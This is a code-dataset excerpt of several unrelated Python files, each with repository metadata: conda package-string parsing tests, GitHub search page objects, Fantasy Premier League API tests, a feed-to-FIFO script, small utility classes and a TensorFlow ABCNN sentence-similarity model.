[ "Apache-2.0" ]

null

tests/test_utils_conda.py

woodruffw-forks/cyclonedx-python-lib

395a0ec14ebcba8e0849a0ced30ec4163c42fa7a

[ "Apache-2.0" ]

null

# encoding: utf-8 # This file is part of CycloneDX Python Lib # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # SPDX-License-Identifier: Apache-2.0 # Copyright (c) OWASP Foundation. All Rights Reserved. from unittest import TestCase from cyclonedx.utils.conda import parse_conda_json_to_conda_package, parse_conda_list_str_to_conda_package, CondaPackage class TestUtilsConda(TestCase): def test_parse_conda_json_no_hash(self) -> None: cp: CondaPackage = parse_conda_json_to_conda_package( conda_json_str='{"base_url": "https://repo.anaconda.com/pkgs/main","build_number": 1003,"build_string": ' '"py39hecd8cb5_1003","channel": "pkgs/main","dist_name": "chardet-4.0.0-py39hecd8cb5_1003",' '"name": "chardet","platform": "osx-64","version": "4.0.0"}' ) self.assertIsInstance(cp, dict) self.assertEqual(cp['base_url'], 'https://repo.anaconda.com/pkgs/main') self.assertEqual(cp['build_number'], 1003) self.assertEqual(cp['build_string'], 'py39hecd8cb5_1003') self.assertEqual(cp['channel'], 'pkgs/main') self.assertEqual(cp['dist_name'], 'chardet-4.0.0-py39hecd8cb5_1003') self.assertEqual(cp['name'], 'chardet') self.assertEqual(cp['platform'], 'osx-64') self.assertEqual(cp['version'], '4.0.0') self.assertIsNone(cp['md5_hash']) def test_parse_conda_list_str_no_hash(self) -> None: cp: CondaPackage = parse_conda_list_str_to_conda_package( conda_list_str='https://repo.anaconda.com/pkgs/main/osx-64/chardet-4.0.0-py39hecd8cb5_1003.conda' ) self.assertIsInstance(cp, dict) self.assertEqual(cp['base_url'], 'https://repo.anaconda.com/pkgs/main') self.assertEqual(cp['build_number'], 1003) self.assertEqual(cp['build_string'], 'py39hecd8cb5_1003') self.assertEqual(cp['channel'], 'pkgs/main') self.assertEqual(cp['dist_name'], 'chardet-4.0.0-py39hecd8cb5_1003') self.assertEqual(cp['name'], 'chardet') self.assertEqual(cp['platform'], 'osx-64') self.assertEqual(cp['version'], '4.0.0') self.assertIsNone(cp['md5_hash']) def test_parse_conda_list_str_with_hash_1(self) -> None: cp: CondaPackage = parse_conda_list_str_to_conda_package( conda_list_str='https://repo.anaconda.com/pkgs/main/noarch/tzdata-2021a-h52ac0ba_0.conda' '#d42e4db918af84a470286e4c300604a3' ) self.assertIsInstance(cp, dict) self.assertEqual(cp['base_url'], 'https://repo.anaconda.com/pkgs/main') self.assertEqual(cp['build_number'], 0) self.assertEqual(cp['build_string'], 'h52ac0ba_0') self.assertEqual(cp['channel'], 'pkgs/main') self.assertEqual(cp['dist_name'], 'tzdata-2021a-h52ac0ba_0') self.assertEqual(cp['name'], 'tzdata') self.assertEqual(cp['platform'], 'noarch') self.assertEqual(cp['version'], '2021a') self.assertEqual(cp['md5_hash'], 'd42e4db918af84a470286e4c300604a3') def test_parse_conda_list_str_with_hash_2(self) -> None: cp: CondaPackage = parse_conda_list_str_to_conda_package( conda_list_str='https://repo.anaconda.com/pkgs/main/osx-64/ca-certificates-2021.7.5-hecd8cb5_1.conda' '#c2d0ae65c08dacdcf86770b7b5bbb187' ) self.assertIsInstance(cp, dict) self.assertEqual(cp['base_url'], 'https://repo.anaconda.com/pkgs/main') self.assertEqual(cp['build_number'], 1) self.assertEqual(cp['build_string'], 'hecd8cb5_1') self.assertEqual(cp['channel'], 'pkgs/main') self.assertEqual(cp['dist_name'], 'ca-certificates-2021.7.5-hecd8cb5_1') self.assertEqual(cp['name'], 'ca-certificates') self.assertEqual(cp['platform'], 'osx-64') self.assertEqual(cp['version'], '2021.7.5') self.assertEqual(cp['md5_hash'], 'c2d0ae65c08dacdcf86770b7b5bbb187') def test_parse_conda_list_str_with_hash_3(self) -> None: cp: CondaPackage = parse_conda_list_str_to_conda_package( conda_list_str='https://repo.anaconda.com/pkgs/main/noarch/idna-2.10-pyhd3eb1b0_0.tar.bz2' '#153ff132f593ea80aae2eea61a629c92' ) self.assertIsInstance(cp, dict) self.assertEqual(cp['base_url'], 'https://repo.anaconda.com/pkgs/main') self.assertEqual(cp['build_number'], 0) self.assertEqual(cp['build_string'], 'pyhd3eb1b0_0') self.assertEqual(cp['channel'], 'pkgs/main') self.assertEqual(cp['dist_name'], 'idna-2.10-pyhd3eb1b0_0') self.assertEqual(cp['name'], 'idna') self.assertEqual(cp['platform'], 'noarch') self.assertEqual(cp['version'], '2.10') self.assertEqual(cp['md5_hash'], '153ff132f593ea80aae2eea61a629c92')

48.8

120

0.669523

679

5,368

5.106038

0.209131

0.18604

0.210845

0.057687

0.702625

0.633112

0.612345

0.586674

0.533314

0.501586

0

0.070055

0.186289

5,368

109

121

49.247706

0.723672

0.124441

0

0.487179

0

0.089744

0.350064

0.095258

0

0.641026

1

0.064103

false

0

0.025641

0

0.102564

0

null

0

1

0

null

0

1

0

2

0a2ca1886f9f977fe51fc6e706620020fca9a5b3

62

py

Python

ground/__init__.py

lycantropos/ground

ef6f54b8cb555af8d9202d621cac57a892ecb78d

[ "MIT" ]

4

2021-05-15T19:15:56.000Z

2021-11-30T06:19:47.000Z

ground/__init__.py

lycantropos/ground

ef6f54b8cb555af8d9202d621cac57a892ecb78d

[ "MIT" ]

null

ground/__init__.py

lycantropos/ground

ef6f54b8cb555af8d9202d621cac57a892ecb78d

[ "MIT" ]

null

"""Basis of computational geometry.""" __version__ = '7.1.1'

15.5

38

0.677419

8

62

4.75

0.875

0

0.055556

0.129032

62

3

39

20.666667

0.648148

0.516129

0

0.208333

0

1

0

false

0

1

0

null

0

1

0

null

0

2

0a32df1f7ec457a5eb7c5a6c86ff5d0cfd8ec8eb

1,408

py

Python

docs/code/round_3/pages.py

jzoldak/bok-choy

340023f1a50d9ba40dbe0c8154d32d17a7ed1d1e

[ "Apache-2.0" ]

63

2015-01-17T15:52:11.000Z

2019-12-26T21:11:50.000Z

docs/code/round_3/pages.py

jzoldak/bok-choy

340023f1a50d9ba40dbe0c8154d32d17a7ed1d1e

[ "Apache-2.0" ]

202

2015-01-08T18:59:35.000Z

2021-12-28T04:10:32.000Z

docs/code/round_3/pages.py

jzoldak/bok-choy

340023f1a50d9ba40dbe0c8154d32d17a7ed1d1e

[ "Apache-2.0" ]

21

2015-01-23T23:41:53.000Z

2021-10-29T21:59:49.000Z

import re from bok_choy.page_object import PageObject class GitHubSearchResultsPage(PageObject): """ GitHub's search results page """ url = None def is_browser_on_page(self): # This should be something like: u'Search · foo bar · GitHub' title = self.browser.title matches = re.match('^Search .+ GitHub$', title) return matches is not None @property def search_results(self): """ Return a list of results returned from a search """ return self.q(css='ul.repo-list > li > div > div > div.f4').text class GitHubSearchPage(PageObject): """ GitHub's search page """ url = 'http://www.github.com/search' def is_browser_on_page(self): return self.q(css='button.btn').is_present() def enter_search_terms(self, text): """ Fill the text into the input field """ self.q(css='#search_form input[type="text"]').fill(text) def search(self): """ Click on the Search button and wait for the results page to be displayed """ self.q(css='button.btn').click() GitHubSearchResultsPage(self.browser).wait_for_page() def search_for_terms(self, text): """ Fill in the search terms and click the Search button """ self.enter_search_terms(text) self.search()

23.864407

72

0.598722

181

1,408

4.563536

0.392265

0.024213

0.038741

0.05569

0.094431

0.053269

0

0.001

0.289773

1,408

58

73

24.275862

0.823

0.226563

0

0.086957

0

0.142405

0

1

0.26087

false

0

0.086957

0.043478

0.652174

0

null

0

null

0

1

0

1

0

2

0a474695a184b6ecb573b77e69e9665b729d6878

274

py

Python

class-1/read_jy.py

dyrbrm/pynet-test

78c600c35865810403ce6a4901635796fe22c65d

[ "Apache-2.0" ]

null

class-1/read_jy.py

dyrbrm/pynet-test

78c600c35865810403ce6a4901635796fe22c65d

[ "Apache-2.0" ]

null

class-1/read_jy.py

dyrbrm/pynet-test

78c600c35865810403ce6a4901635796fe22c65d

[ "Apache-2.0" ]

null

#!/usr/bin/env python import yaml import json import pprint with open("yaml_file.yml") as f: new_yaml_list = yaml.load(f) with open("json_file.json") as f: new_json_list = json.load(f) print "yaml file=" print new_yaml_list print "json file=" print new_json_list

15.222222

33

0.729927

50

274

3.8

0.36

0.084211

0.063158

0

0.156934

274

17

34

16.117647

0.822511

0.072993

0

0.185771

0

null

0

0.272727

null

0.454545

0

null

0

null

0

1

0

1

0

2

0a47e53aa0f05efdfe599cfbcb851b13b9ec0821

1,553

py

Python

scripts/hello.py

LukeB42/Emissary

31629a8baedc91a9b60c551a01b2b45372b9a8c7

[ "MIT" ]

193

2015-06-20T23:46:05.000Z

2021-02-16T14:04:29.000Z

scripts/hello.py

LukeB42/Emissary

31629a8baedc91a9b60c551a01b2b45372b9a8c7

[ "MIT" ]

4

2015-08-23T15:25:55.000Z

2016-01-06T11:29:20.000Z

scripts/hello.py

LukeB42/Emissary

31629a8baedc91a9b60c551a01b2b45372b9a8c7

[ "MIT" ]

21

2015-07-05T12:20:06.000Z

2019-07-12T08:07:46.000Z

# _*_ coding: utf-8 _*_ # # This script creates a named pipe (if it doesn't exist) # and writes the feed name, article title and url to it # whenever an article is saved to the database. # # This is useful for composing systems that constantly read # the FIFO and do things like emit the data to IRC channels. # # You could, for instance, perform fuzzy pattern matching and be # notified when certain keywords are in the news. # # Transmission to a natural language processing/translation service # can also be done in a script or by reading a FIFO like the one here. # # Whether you use this system to profit, perform intelligence analysis # or inform your next vote is hopefully up to you! # # Luke Brooks, 2015 # MIT License # Many big thanks to God, lord of universes. fifo = "/tmp/emissary.pipe" import os, stat if not os.path.exists(fifo): try: os.mkfifo(fifo) except Exception, e: cache['app'].log("Error creating %s: %s" % (fifo, e.message)) # Emissary always executes scripts with an article and its feed in the namespace. # There is also a dictionary named cache, containing the app object. # Random aside but through the app object you can access the logging interface and the feed manager. try: # READER BEWARE: Use non-blocking IO or you won't be storing owt. fd = os.open(fifo, os.O_CREAT | os.O_WRONLY | os.O_NONBLOCK) os.write(fd, "%s: %s\n%s\n" % (feed.name, article.title, article.url)) os.close(fd) del fd except Exception, e: # Usually due to there not being a reader fd known to the kernel. pass del os, stat, fifo

34.511111

100

0.734707

267

1,553

4.247191

0.59176

0.007937

0.026455

0.035273

0

0.00394

0.182872

1,553

44

101

35.295455

0.889677

0.711526

0

0.266667

0

0.128266

0

null

0.066667

null

0

null

0

null

0

1

0

1

0

2

0a4a0500f1dddd3758d7f1fa378436097042faf6

708

py

Python

projects/model/Category.py

chamathshashika/projects-python-wrappers

33e9f6bccba16a581b115c582033a93d43bb159c

[ "MIT" ]

null

projects/model/Category.py

chamathshashika/projects-python-wrappers

33e9f6bccba16a581b115c582033a93d43bb159c

[ "MIT" ]

null

projects/model/Category.py

chamathshashika/projects-python-wrappers

33e9f6bccba16a581b115c582033a93d43bb159c

[ "MIT" ]

null

#$Id$ class Category: """This class is used to create object for category.""" def __init__(self): """Initialize parameters for Category.""" self.id = "" self.name = "" def set_id(self, id): """Set id. Args: id(str): Id. """ self.id = id def get_id(self): """Get id. Returns: str: Id. """ return self.id def set_name(self, name): """Set name. Args: name(str): name. """ self.name = name def get_name(self): """Get name. Returns: str: name. """ return self.name

14.75

59

0.422316

75

708

3.88

0.293333

0.082474

0.054983

0

0.446328

708

47

60

15.06383

0.742347

0.319209

0

1

0.416667

false

0

0.666667

0

null

0

null

0

1

0

1

0

2

0a504b996b74490d0636022a43cc0bfd844c58ea

559

py

Python

src/squirrel/shared/setupsql.py

bvz2000/squirrel

5d3ba00825aaa5337d8972a0edc6530230a8a754

[ "Unlicense" ]

null

src/squirrel/shared/setupsql.py

bvz2000/squirrel

5d3ba00825aaa5337d8972a0edc6530230a8a754

[ "Unlicense" ]

null

src/squirrel/shared/setupsql.py

bvz2000/squirrel

5d3ba00825aaa5337d8972a0edc6530230a8a754

[ "Unlicense" ]

null

import inspect import configparser import os.path # ---------------------------------------------------------------------------------------------------------------------- def create_sql_object(): """ Create a sql resources object. :return: A sql resources object. """ module_d = os.path.split(inspect.stack()[0][1])[0] resources_d = os.path.abspath(os.path.join(module_d, "..", "..", "..", "resources")) parser = configparser.ConfigParser() parser.read(os.path.join(resources_d, "sql.ini")) return parser

25.409091

120

0.495528

56

559

4.839286

0.410714

0.110701

0.095941

0.140221

0

0.006438

0.166369

559

21

121

26.619048

0.575107

0.34347

0

0.06414

0

1

0.111111

false

0

0.333333

0

0.555556

0

null

0

null

0

1

0

1

0

2

0a52886cde79896f927dd3511458959a850855fa

2,453

py

Python

tests/test_fpl.py

emre/fpl

381f37f381a6de23537e236788352c48a37a6005

[ "MIT" ]

null

tests/test_fpl.py

emre/fpl

381f37f381a6de23537e236788352c48a37a6005

[ "MIT" ]

null

tests/test_fpl.py

emre/fpl

381f37f381a6de23537e236788352c48a37a6005

[ "MIT" ]

1

2019-10-17T15:56:43.000Z

import unittest from fpl import FPL from fpl.models.classic_league import ClassicLeague from fpl.models.fixture import Fixture from fpl.models.gameweek import Gameweek from fpl.models.h2h_league import H2HLeague from fpl.models.player import Player from fpl.models.team import Team from fpl.models.user import User class FPLTest(unittest.TestCase): def setUp(self): self.fpl = FPL() def test_user(self): user = self.fpl.get_user("3523615") self.assertIsInstance(user, User) def test_team(self): team = self.fpl.get_team(1) self.assertIsInstance(team, Team) def test_teams(self): teams = self.fpl.get_teams() self.assertIsInstance(teams, list) self.assertEqual(len(teams), 20) self.assertIsInstance(teams[0], Team) def test_player(self): player = self.fpl.get_player(1) self.assertIsInstance(player, Player) def test_players(self): players = self.fpl.get_players() self.assertIsInstance(players, list) self.assertIsInstance(players[0], Player) def test_fixture(self): fixture = self.fpl.get_fixture(6) self.assertIsInstance(fixture, Fixture) fixture = self.fpl.get_fixture(6, gameweek=1) self.assertIsInstance(fixture, Fixture) def test_fixtures(self): fixtures = self.fpl.get_fixtures() self.assertIsInstance(fixtures, list) self.assertIsInstance(fixtures[0], Fixture) fixtures = self.fpl.get_fixtures(gameweek=1) self.assertEqual(len(fixtures), 10) self.assertIsInstance(fixtures, list) self.assertIsInstance(fixtures[0], Fixture) def test_gameweeks(self): gameweeks = self.fpl.get_gameweeks() self.assertIsInstance(gameweeks, list) self.assertEqual(len(gameweeks), 38) def test_gameweek(self): gameweek = self.fpl.get_gameweek("20") self.assertIsInstance(gameweek, Gameweek) def test_game_settings(self): game_settings = self.fpl.game_settings() self.assertIsInstance(game_settings, dict) def test_classic_league(self): classic_league = self.fpl.get_classic_league("890172") self.assertIsInstance(classic_league, ClassicLeague) def test_h2h_league(self): h2h_league = self.fpl.get_h2h_league("760869") self.assertIsInstance(h2h_league, H2HLeague) if __name__ == '__main__': unittest.main()

31.050633

62

0.688545

297

2,453

5.52862

0.154882

0.219245

0.079172

0.026797

0.144945

0.113276

0.082826

0

0.022716

0.210355

2,453

78

63

31.448718

0.824987

0

0.098361

0

0.011822

0

0.344262

1

0.213115

false

0

0.147541

0

0.377049

0

null

1

0

null

0

1

0

2

0a65092c7c6e37e2cdd113eb9f101a48760170fb

13,940

py

Python

abcnn.py

ameyagodbole/ABCNN-tensorflow

9b3a6911982b930ed852362af35208208760eb19

[ "MIT" ]

4

2018-10-29T04:11:19.000Z

2019-12-19T04:42:25.000Z

abcnn.py

ameyagodbole/ABCNN-tensorflow

9b3a6911982b930ed852362af35208208760eb19

[ "MIT" ]

null

abcnn.py

ameyagodbole/ABCNN-tensorflow

9b3a6911982b930ed852362af35208208760eb19

[ "MIT" ]

3

2018-12-08T22:39:04.000Z

2020-04-08T09:34:37.000Z

""" An implementation of ABCNN from ABCNN: Attention-Based Convolutional Neural Network for Modeling Sentence Pairs Yin, W.; Schutze, H.; Xiang, B.; and Zhou, B. """ import tensorflow as tf import numpy as np ''' Each config should be a dictionary with entries: type : Type pf convolutional layer depending of use of attenion map; one of BCNN, ABCNN-1, ABCNN-2, ABCNN-3 w : Width of convolutional kernel n : Number of convolutional ops nl : Type of non-linearity; one of 'tanh' or 'relu' ''' DEFAULT_CONFIG = [{'type':'ABCNN-3','w':3, 'n':50, 'nl':'tanh'} for _ in range(3)] class ABCNN: def __init__(self, conv_layers, embed_size, sentence_len, external_measures = 0, config = DEFAULT_CONFIG): self.conv_layers = conv_layers self.embed_size = embed_size self.sentence_len = sentence_len self.external_measures = external_measures self.config = config print 'ABCNN params initialised' def _conv_layer(self, config, input): kernel = tf.get_variable('kernel', [input.get_shape()[1], config['w'], input.get_shape()[3], config['n']], initializer=tf.contrib.layers.xavier_initializer(), dtype=tf.float32) conv = tf.nn.conv2d(input, kernel, strides=[1, 1, 1, 1], padding='VALID') biases = tf.get_variable("biases", config['n'], dtype=tf.float32, initializer=tf.constant_initializer(0.0)) if config['nl'] == 'tanh': nl = tf.nn.tanh elif config['nl'] == 'relu': nl = tf.nn.relu else: raise ValueError('_conv_layer: %s is not implemented' % config['nl']) return nl(conv + biases) def _add_BCNN(self, id, config, last, layer_input): scope_name = 'BCNN_'+str(id) with tf.variable_scope(scope_name,initializer=tf.contrib.layers.xavier_initializer()) as scope: with tf.variable_scope('conv') as scope: padded_in1 = tf.pad(layer_input[0], [[0,0],[0,0],[config['w']-1,config['w']-1],[0,0]], 'constant') padded_in2 = tf.pad(layer_input[1], [[0,0],[0,0],[config['w']-1,config['w']-1],[0,0]], 'constant') conv1 = self._conv_layer(config, padded_in1) scope.reuse_variables() conv2 = self._conv_layer(config, padded_in2) if last: with tf.variable_scope('all-ap') as scope: ap1 = tf.reduce_mean(conv1, axis=[1,2]) ap2 = tf.reduce_mean(conv2, axis=[1,2]) return ap1, ap2 else: with tf.variable_scope('%d-ap' % config['w']) as scope: avg_pool1 = tf.nn.avg_pool(conv1,[1,1,config['w'],1],strides=[1,1,1,1],padding="VALID",name='avg_pool1') avg_pool2 = tf.nn.avg_pool(conv2,[1,1,config['w'],1],strides=[1,1,1,1],padding="VALID",name='avg_pool2') ap1 = tf.transpose(avg_pool1, perm=[0,3,2,1], name='ap1') ap2 = tf.transpose(avg_pool2, perm=[0,3,2,1], name='ap2') return ap1, ap2 def _add_ABCNN_1(self, id, config, last, layer_input): scope_name = 'ABCNN1_'+str(id) with tf.variable_scope(scope_name,initializer=tf.contrib.layers.xavier_initializer()) as scope: with tf.variable_scope('similarity') as scope: tile_in1 = tf.tile(layer_input[0],[1, 1, 1, layer_input[1].get_shape().as_list()[2]],name='tile1') tile_in2 = tf.transpose(layer_input[1],[0, 1, 3, 2],name='tile2') sq_dist = tf.squared_difference(tile_in1, tile_in2 ,name='sq_dist') pair_dist = tf.sqrt(tf.reduce_sum(sq_dist, axis=[1] ),name='pair_dist') similarity = tf.reciprocal(tf.add(pair_dist, tf.constant(1.0,dtype=tf.float32,name='one')),name='similarity') with tf.variable_scope('attention') as scope: W = tf.get_variable('W', [1,layer_input[0].get_shape()[1],layer_input[0].get_shape()[2]],initializer=tf.contrib.layers.xavier_initializer(), dtype=tf.float32) W_tiled = tf.tile(W,[layer_input[0].get_shape().as_list()[0],1,1]) A1 = tf.matmul(W_tiled, tf.transpose(similarity,[0,2,1]),name='attention_map1') A2 = tf.matmul(W_tiled, similarity,name='attention_map2') with tf.variable_scope('conv') as scope: layer_in1 = tf.concat([layer_input[0],tf.expand_dims(A1, -1)],axis=3) layer_in2 = tf.concat([layer_input[1],tf.expand_dims(A2, -1)],axis=3) padded_in1 = tf.pad(layer_in1, [[0,0],[0,0],[config['w']-1,config['w']-1],[0,0]], 'constant') padded_in2 = tf.pad(layer_in2, [[0,0],[0,0],[config['w']-1,config['w']-1],[0,0]], 'constant') conv1 = self._conv_layer(config, padded_in1) scope.reuse_variables() conv2 = self._conv_layer(config, padded_in2) if last: with tf.variable_scope('all-ap') as scope: ap1 = tf.reduce_mean(conv1, axis=[1,2]) ap2 = tf.reduce_mean(conv2, axis=[1,2]) return ap1, ap2 else: with tf.variable_scope('%d-ap' % config['w']) as scope: avg_pool1 = tf.nn.avg_pool(conv1,[1,1,config['w'],1],strides=[1,1,1,1],padding="VALID",name='avg_pool1') avg_pool2 = tf.nn.avg_pool(conv2,[1,1,config['w'],1],strides=[1,1,1,1],padding="VALID",name='avg_pool2') ap1 = tf.transpose(avg_pool1, perm=[0,3,2,1], name='ap1') ap2 = tf.transpose(avg_pool2, perm=[0,3,2,1], name='ap2') return ap1, ap2 def _add_ABCNN_2(self, id, config, last, layer_input): scope_name = 'ABCNN2_'+str(id) with tf.variable_scope(scope_name,initializer=tf.contrib.layers.xavier_initializer()) as scope: with tf.variable_scope('conv') as scope: padded_in1 = tf.pad(layer_input[0], [[0,0],[0,0],[config['w']-1,config['w']-1],[0,0]], 'constant') padded_in2 = tf.pad(layer_input[1], [[0,0],[0,0],[config['w']-1,config['w']-1],[0,0]], 'constant') conv1 = self._conv_layer(config, padded_in1) scope.reuse_variables() conv2 = self._conv_layer(config, padded_in2) with tf.variable_scope('similarity') as scope: conv1t = tf.transpose(conv1, [0,3,2,1], name='conv1t') conv2t = tf.transpose(conv2, [0,3,2,1], name='conv2t') tile_out1 = tf.tile(conv1t,[1, 1, 1, conv2.get_shape().as_list()[2]],name='tile1') tile_out2 = tf.transpose(conv2t,[0, 1, 3, 2],name='tile2') sq_dist = tf.squared_difference(tile_out1, tile_out2 ,name='sq_dist') pair_dist = tf.sqrt(tf.reduce_sum(sq_dist, axis=[1] ),name='pair_dist') similarity = tf.reciprocal(tf.add(pair_dist, tf.constant(1.0,dtype=tf.float32,name='one')),name='similarity') with tf.variable_scope('attention') as scope: A1 = tf.reduce_sum(similarity, axis=[2], name='attention_map1') A2 = tf.reduce_sum(similarity, axis=[1], name='attention_map2') A1e = tf.expand_dims(A1, 1) A2e = tf.expand_dims(A2, 1) A1f = tf.expand_dims(A1e, -1) A2f = tf.expand_dims(A2e, -1) conv1w = tf.multiply(conv1t, A1f, name='weighted_conv1') conv2w = tf.multiply(conv2t, A2f, name='weighted_conv2') if last: with tf.variable_scope('all-ap') as scope: ap1 = tf.reduce_mean(conv1w, axis=[2,3]) ap2 = tf.reduce_mean(conv2w, axis=[2,3]) return ap1, ap2 else: with tf.variable_scope('%d-ap' % config['w']) as scope: avg_pool1 = tf.nn.avg_pool(conv1w,[1,1,config['w'],1],strides=[1,1,1,1],padding="VALID",name='avg_pool1') avg_pool2 = tf.nn.avg_pool(conv2w,[1,1,config['w'],1],strides=[1,1,1,1],padding="VALID",name='avg_pool2') return avg_pool1, avg_pool2 def _add_ABCNN_3(self, id, config, last, layer_input): scope_name = 'ABCNN3_'+str(id) with tf.variable_scope(scope_name,initializer=tf.contrib.layers.xavier_initializer()) as scope: with tf.variable_scope('similarity_pre') as scope: tile_in1 = tf.tile(layer_input[0],[1, 1, 1, layer_input[1].get_shape().as_list()[2]],name='tile1') tile_in2 = tf.transpose(layer_input[1],[0, 1, 3, 2],name='tile2') sq_dist = tf.squared_difference(tile_in1, tile_in2 ,name='sq_dist') pair_dist = tf.sqrt(tf.reduce_sum(sq_dist, axis=[1] ),name='pair_dist') similarity = tf.reciprocal(tf.add(pair_dist, tf.constant(1.0,dtype=tf.float32,name='one')),name='similarity') with tf.variable_scope('attention_pre') as scope: W = tf.get_variable('W', [1,layer_input[0].get_shape()[1],layer_input[0].get_shape()[2]],initializer=tf.contrib.layers.xavier_initializer(), dtype=tf.float32) W_tiled = tf.tile(W,[layer_input[0].get_shape().as_list()[0],1,1]) A1 = tf.matmul(W_tiled, tf.transpose(similarity,[0,2,1]),name='attention_map1') A2 = tf.matmul(W_tiled, similarity,name='attention_map2') with tf.variable_scope('conv') as scope: layer_in1 = tf.concat([layer_input[0],tf.expand_dims(A1, -1)],axis=3) layer_in2 = tf.concat([layer_input[1],tf.expand_dims(A2, -1)],axis=3) padded_in1 = tf.pad(layer_in1, [[0,0],[0,0],[config['w']-1,config['w']-1],[0,0]], 'constant') padded_in2 = tf.pad(layer_in2, [[0,0],[0,0],[config['w']-1,config['w']-1],[0,0]], 'constant') conv1 = self._conv_layer(config, padded_in1) scope.reuse_variables() conv2 = self._conv_layer(config, padded_in2) with tf.variable_scope('similarity_post') as scope: conv1t = tf.transpose(conv1, [0,3,2,1], name='conv1t') conv2t = tf.transpose(conv2, [0,3,2,1], name='conv2t') tile_out1 = tf.tile(conv1t,[1, 1, 1, conv2.get_shape().as_list()[2]],name='tile1') tile_out2 = tf.transpose(conv2t,[0, 1, 3, 2],name='tile2') sq_dist = tf.squared_difference(tile_out1, tile_out2 ,name='sq_dist') pair_dist = tf.sqrt(tf.reduce_sum(sq_dist, axis=[1] ),name='pair_dist') similarity = tf.reciprocal(tf.add(pair_dist, tf.constant(1.0,dtype=tf.float32,name='one')),name='similarity') with tf.variable_scope('attention_post') as scope: A1 = tf.reduce_sum(similarity, axis=[2], name='attention_map1') A2 = tf.reduce_sum(similarity, axis=[1], name='attention_map2') A1e = tf.expand_dims(A1, 1) A2e = tf.expand_dims(A2, 1) A1f = tf.expand_dims(A1e, -1) A2f = tf.expand_dims(A2e, -1) conv1w = tf.multiply(conv1t, A1f, name='weighted_conv1') conv2w = tf.multiply(conv2t, A2f, name='weighted_conv2') if last: with tf.variable_scope('all-ap') as scope: ap1 = tf.reduce_mean(conv1w, axis=[2,3]) ap2 = tf.reduce_mean(conv2w, axis=[2,3]) return ap1, ap2 else: with tf.variable_scope('%d-ap' % config['w']) as scope: avg_pool1 = tf.nn.avg_pool(conv1w,[1,1,config['w'],1],strides=[1,1,1,1],padding="VALID",name='avg_pool1') avg_pool2 = tf.nn.avg_pool(conv2w,[1,1,config['w'],1],strides=[1,1,1,1],padding="VALID",name='avg_pool2') return avg_pool1, avg_pool2 def build_graph(self, embed_matrix, train_embed_matrix, batch_size): print 'Building graph...' self.global_step = tf.Variable(0, dtype=tf.int32, trainable=False, name='global_step') with tf.name_scope("data"): # self.in1 = tf.placeholder(tf.int32, shape=None, name='in1') # self.in2 = tf.placeholder(tf.int32, shape=None, name='in2') self.in1 = tf.placeholder(tf.int32, shape=[batch_size, self.sentence_len], name='in1') self.in2 = tf.placeholder(tf.int32, shape=[batch_size, self.sentence_len], name='in2') if self.external_measures > 0: self.ext = tf.placeholder(tf.float32, shape=[batch_size, self.external_measures], name='ext_measure') self.target = tf.placeholder(tf.float32, shape=[batch_size], name='target') with tf.variable_scope('embedding') as scope: embedding_weights = tf.Variable(initial_value = embed_matrix, dtype = tf.float32, trainable=train_embed_matrix, name = 'embedding_weights') # self.q1 = tf.nn.embedding_lookup(embedding_weights, self.in1, name='embed_q1') # scope.reuse_variables() # self.q2 = tf.nn.embedding_lookup(embedding_weights, self.in2, name='embed_q2') eq1 = tf.nn.embedding_lookup(embedding_weights, self.in1) eq2 = tf.nn.embedding_lookup(embedding_weights, self.in2) tq1 = tf.transpose(eq1, [0,2,1], name='t_q1') tq2 = tf.transpose(eq2, [0,2,1], name='t_q2') self.q1 = tf.expand_dims(tq1, -1, name='q1') self.q2 = tf.expand_dims(tq2, -1, name='q2') layer_input = [self.q1, self.q2] for i in range(self.conv_layers): last = (i == self.conv_layers - 1) if self.config[i]['type'] == 'ABCNN-3': layer_input = self._add_ABCNN_3(i, self.config[i], last, layer_input) continue if self.config[i]['type'] == 'ABCNN-2': layer_input = self._add_ABCNN_2(i, self.config[i], last, layer_input) continue if self.config[i]['type'] == 'ABCNN-1': layer_input = self._add_ABCNN_1(i, self.config[i], last, layer_input) continue if self.config[i]['type'] == 'BCNN': layer_input = self._add_BCNN(i, self.config[i], last, layer_input) continue else: raise ValueError('Unrecognised conv layer type') with tf.variable_scope('fc') as scope: if self.external_measures > 0: fc_in = tf.concat([layer_input[0],layer_input[1],self.ext],axis=1) else: fc_in = tf.concat([layer_input[0],layer_input[1]],axis=1) w = tf.Variable(tf.truncated_normal([fc_in.get_shape().as_list()[1],1], stddev=0.1, dtype=tf.float32), name='weights') b = tf.Variable(tf.zeros([1], dtype=tf.float32), name="bias") logit_r = tf.matmul(fc_in, w) + b logits = tf.reshape(logit_r, [-1]) with tf.name_scope('loss'): self.cross_entropy = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=logits, labels=self.target)) optimizer = tf.train.AdamOptimizer() self.train_step = optimizer.minimize(self.cross_entropy, global_step= self.global_step, name='train_step') with tf.name_scope('prediction'): self.prediction = tf.round(tf.sigmoid(logits), name='prediction') correct_prediction = tf.equal(self.prediction, self.target) self.accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32), name='accuracy') with tf.name_scope("summaries"): tf.summary.scalar("loss", self.cross_entropy) tf.summary.scalar("accuracy", self.accuracy) tf.summary.histogram("histogram_loss", self.cross_entropy) self.summary_op = tf.summary.merge_all() self.init_op = tf.group(tf.global_variables_initializer(),tf.local_variables_initializer()) print 'Done' if __name__ == '__main__': c = ABCNN(conv_layers=3, embed_size=50, sentence_len=40) c.build_graph(np.random.randn(20,50), 1, 128) with tf.Session() as sess: sess.run( c.init_op ) writer = tf.summary.FileWriter('./graph', sess.graph) writer.close()

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null

0

1

0

2

0a670defa7960780745a3904c44171ded53a13e6

1,414

py

Python

coding_interview/25.py

smartx-jshan/Coding_Practice

bc7d485e7992031e55df62483818b721ad7d1d4f

[ "Apache-2.0" ]

null

coding_interview/25.py

smartx-jshan/Coding_Practice

bc7d485e7992031e55df62483818b721ad7d1d4f

[ "Apache-2.0" ]

null

coding_interview/25.py

smartx-jshan/Coding_Practice

bc7d485e7992031e55df62483818b721ad7d1d4f

[ "Apache-2.0" ]

null

